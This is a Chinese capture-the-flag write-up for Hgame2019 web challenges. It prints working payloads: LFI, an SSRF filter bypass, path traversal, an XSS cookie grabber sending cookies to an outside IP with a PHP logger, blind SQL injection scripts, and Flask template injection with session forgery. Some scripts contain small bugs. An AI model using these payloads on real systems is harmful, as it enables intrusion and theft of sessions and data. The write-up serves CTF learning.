Hgame2019 Web WriteUp

easy_php

访问robots.txt,得到了img/index.php的路径,访问后得到源码:

<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);

../被过滤,可以用....//来绕过。
因为出现了include_once(),可以通过LFI来读取flag
构造payload得到flag

index.php?img=php://filter/read=convert.base64-encode/resource=....//flag

php trick

# index.php
 <?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}
step 1 fail

绕过$str1 == $str2md5($str1) != md5($str2)
因为$str1 = (string)@$_GET['str1'];,有了强制转换成string,所以不能使用数组绕过,通过弱比较绕过即可。
第二步的md5($str3) !== md5($str4)就可以拿数组绕过了。
绕过strpos($_SERVER['QUERY_STRING'], "H_game")可以用到php的恐龙特性
然后$str5要满足is_numeric($str5)$str5<9999999999(string)$str5>0,数组就能实现绕过。
接下来的step 9step 10和:

$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);

是简单的SSRF。限制就是step 9parse_url($url, PHP_URL_HOST) !== "www.baidu.com"。这里利用parse_urllibcurl的差异:

parse_url中获取的host是最后一个@后面的host,而libcurl获取的是第一个@后的。

可以构造user@127.0.0.1:80@www.baidu.com/admin.php,这样curl访问的还是127.0.0.1:80/admin.php,而满足了条件。
访问admin.php后得到了其代码:

# admin.php
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

file_get_contents(),但是用file_exists()判断的存在,有文件则不给看。利用file_get_contentsfile_exists判断存在差异:

file_get_contents会将路径转化为绝对路径而file_exists不会。

构造filename=xxx/../flag.php或者使用php伪协议也可以读取。
最后payload

?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&H.game[]=3&url=http://user@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/resource=flag.php

Math

发现一张图片,源代码是<img src=/img/cXVlc3Rpb24ucG5n.php>
cXVlc3Rpb24ucG5n经过base64解密后为question.png
尝试把../../../etc/passwd经过base64编码后Li4vLi4vLi4vZXRjL3Bhc3N3ZA==,放入url中去读取:

http://test.tan90.me:8080/img/Li4vLi4vLi4vZXRjL3Bhc3N3ZA==.php

可以读到/etc/passwd文件。
去读/proc/self/environ

view-source:http://test.tan90.me:8080/img/Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=.php

可以得到CATALINA_HOME=/usr/local/tomcat
去读/usr/local/tomcat/conf/server.xml,是正常的tomcat配置文件。
得到网站的根目录是/usr/local/tomcat/webapps/ROOT
这个是Java Web,存在Spring MVC,尝试去读/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,可以看到url-pattern部分:

    <servlet>
        <servlet-name>mathyouqu</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>mathyouqu</servlet-name>
        <url-pattern>*.php</url-pattern>
    </servlet-mapping>

<servlet-name>mathyouqu</servlet-name>这一行,说明有mathyouqu-servlet.xml存在。但是里面没有具体文件名。
访问例如/img/==.php来查看报错信息,看到一条:

hgame.controller.MathController.image(MathController.java:51)

然后去读取/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class
使用jad.exe去反编译得到源码:

$ jad -o -r -s java 1.class

得到关键java代码:

    public String Flag(ModelMap model)
    {
        System.out.println("This is the last question.");
        System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
        System.out.println("The flag is hgame{x}.x is a decimal number.");
        model.addAttribute("flag", "Flag is not here.");
        return "flag";
    }

计算123852^x % 612799081 = 6181254136845 % 612799081
使用python代码来运算:

import gmpy2


def bsgs(g,h,p):
    if not gmpy2.is_prime(p):
        return "p is not prime, you shouldn't use BSGS anyway."
    N = int(gmpy2.ceil(gmpy2.sqrt(p - 1)))
    tbl = {pow(g, i, p): i for i in range(N)}
    c = pow(g, N * (p - 2), p)
    for j in range(N):
        y = (h * pow(c, j, p)) % p
        if y in tbl: return j * N + tbl[y]
        return None

print(bsgs(123852, 6181254136845, 612799081))

Baby_Spider

题目加了一些反爬trick

from bs4 import BeautifulSoup
import requests, re


url = 'http://x.x.x.x:xxxx'
token = ''
headers = {
    'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
}
request = requests.session()
request.headers = headers


def login():
    request.post(url=url + '/', data=dict(token=token))


def get_question():
    soup = BeautifulSoup(request.get(url=url + '/question').content, 'lxml')
    question = soup.select_one('.questioncontainer').text[0:-2]
    return question


def get_question2():
    content = request.get(url=url + '/statics/style.css').text
    question = re.search(r'content:"(?P<question>.*)"', content, re.M | re.I).group('question')[0:-2]
    return question


def solve(question):
    if re.search(r'[a-zA-Z]', question):
        print(question)
        exit()
    solution = eval(question)
    status = request.post(url=url + '/solution', data=dict(answer=str(solution))).status_code
    print(question, solution, status)

if __name__ == '__main__':
    login()
    for i in range(31):
        if i < 10:
            question = get_question()
            solve(question)
        elif i >= 10 and i < 20:
            question = get_question()
            table = str.maketrans('01345679', '10694357')
            real_question = question.translate(table)
            solve(real_question)
        elif i >= 20 <= 30:
            question = get_question2()
            solve(question)
    print(request.get(url + '/').text)

Babyxss

这题后面用bot在运转,所以要我们打到admin也就是botcookie
进去看到substr(md5($_POST["code"]),0,4)===8859
一个很常规的ctf验证码,用python得到答案:

import hashlib


def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()


for i in range(1000000):
    if md5(str(i))[0:4] == 'd4f7':
        print(i)
        break

验证码是20748
经过测试,输入框过滤了一些关键字,例如<scirpt>被过滤为空,可以双写绕过。构造:

<scr<script>ipt>document.write("http://118.25.89.91/?'+document.cookie'")</scr</script>ipt>

自己云主机上新建一个receive.php

<?php
$cookie=$_GET['cookie'];
$ip=getenv('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$rec=fopen('cookie.txt','a');
fwrite($rec,"IP:".$ip."| time:".$time."| referer:".$referer."| cookie:".$cookie."\n");
fclose($rec);
?>

就可以得到flag了。

sqli-1

普通的数字型sql注入。

id=1 union select database() #     // hgame
id=1 union select table_name from information_schema.tables where table_schema=database() #      // welcome、f1l1l1l1g、words
id=1 union select column_name from information_schema.columns where table_name='f1l1l1l1g' #        // welcom、f14444444g
id=1 union select f14444444g from f1l1l1l1g #

sqli-2

sql盲注。没回显一般会选择时间盲注、布尔盲注、报错注入。
因为这里只会告诉你sql被执行了还是sql语句错误,所以没法使用布尔盲注。
时间盲注payload

1 and if((1=2),sleep(2.5),0) #

报错注入payload

1 and if((1=2),exp(9999999),1) #

时间盲注脚本:

import requests
import hashlib
import re
import time

url = 'http://118.89.111.179:3001/index.php'


def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()


def Get_Database():
    for i in range(20):
        print("Finding the database length............"+str(i))
        payload = "1 and if(length((select schema_name from information_schema.schemata limit 1,1))="+str(i)+",sleep(5),0)"
        time = Get_Data(payload)
        if time >=4.5:
            databaseLen = i
            print("[*] The database length is "+ str(i))
            break
    database = ''
    for i in range(databaseLen):
        print("Finding the database Name............")
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
            time = Get_Data(payload)
            if time >=4.5:
                database += chr(int(j))
                continue
    print("[*] The current database is "+ database)


def Get_tables():
    for i in range(20):
        print("Finding the table's length..............")
        payload = "1 and if(length((select table_name from information_schema.tables where table_schema= database() limit 0,1))="+str(i)+",sleep(5),0)"
        time = Get_Data(payload)
        if time >=4.5:
            table_len = i
            print("[*] The table length is "+str(i))
            break
    table_name = ''
    for i in range(table_len):
        print("Finding the table name...................")
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),1)"
            time = Get_Data(payload)
            if time >=4.5:
                table_name += chr(int(j))
                continue
    print("[*] The current table is "+ table_name)


def Get_columns():
    for i in range(30):
        print("Finding the columns. length..................")
        payload = "1 and if(length((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1))="+str(i)+",sleep(5),0)"
        time = Get_Data(payload)
        if time >=4.5:
            columns_len = i
            print("[*] The columns length is "+str(i))
            break
    columns_name = ''
    for i in range(columns_len):
        print("[*] Finding the columns name:")
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
            time = Get_Data(payload)
            if time >=4.5:
                columns_name += chr(int(j))
                continue
    print("[*] The current columns is "+ columns_name)


def Get_flag():
    for i in range(50):
    print("[*] Finding Flag")
        payload = "1 and if(length((select fL4444Ag from F11111114G limit 0,1))="+str(i)+",sleep(5),1)"
        time = Get_Data(payload)
        if time >=4.5:
            flag_len = i
            print("[*] The flag length is "+str(i))
            break
    flag = ''
    for i in range(flag_len):
        for j in range(33,127):
            payload = "1 and if(ascii(substr((select fL4444Ag from F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
            time = Get_Data(payload)
            if time >=4.5:
                flag += chr(int(j))
                continue
    print("[*] The flag is "+ flag)


def Get_Data(payload):
    s = requests.session()
    string = r"===.*<br>"
    r = s.get(url)
    code = re.search(string,r.text).group()
    code = code.replace("=== ","")
    code = code.replace("<br>","")
    for i in range(1, 1000000):
        if md5(str(i)).startswith(code):
            break
    data = {'code':i,'id':payload}
    start = time.time()
    get = s.get(url,params = data)
    end = time.time()
    return (end-start)

    
if __name__ == '__main__':
    Get_Database()
    Get_tables()
    Get_columns()
    Get_flag()

报错注入脚本:

import requests
import hashlib

url = "http://118.89.111.179:3001/"
rs =requests.session()

def get_code():
    r = rs.get(url)
    substr = r.text.split('= ')[1].split('<')[0]
    for i in range(1000000):
        if hashlib.md5(str(i)).hexdigest()[0:4] == substr:
            return str(i)

def run_sql(payload):
    flag = ''
    key = 0
    for i in range(1,40):
        for j in range(37,127):
            pay=payload.format(str(i),str(j))
            r = rs.get(url+'?code='+get_code()+'&id='+pay)
            if "error" in r.text:
                print str(i)  + "--------" + chr(j)
                flag +=chr(j)
                print "[*] :" + flag
                key = 1
                break
        if key == 0:
            break
payload="1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='F11111114G'),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(fL4444Ag) from F11111114G),{0},1))>{1},1,exp(~0))"
run_sql(payload)

happyPython

可以看出来是Flask写的Web
输入url输入:

http://118.25.18.223:3001/{{config}}

看到flask的一些配置信息。
注册登录后,可以在cookie里的session

session:.eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA

这里尝试通过构造session把自己变成admin
访问:

http://118.25.18.223:3001/{{get_flashed_messages.__globals__['current_app'].config}}}}

可以找到:

'SECRET_KEY': '9RxdzNwq7!nOoK3*'

使用session-cookie-manager解密:

$ python session_cookie_manager.py decode -c ".eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA"

得到:

{"_fresh":true,"_id":"051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb","csrf_token":"e176f2b20dadc20945031a0207d0e8b57b0a5260","user_id":"137"}

"user_id":"137"变成"user_id":"1"后进行加密:

$ python session_cookie_manager.py encode -t "{'_fresh':true,'_id':'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb','csrf_token':'e176f2b20dadc20945031a0207d0e8b57b0a5260','user_id':'1'}" -s "9RxdzNwq7!nOoK3*"

得到session后替换原有session后刷新得到flag

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容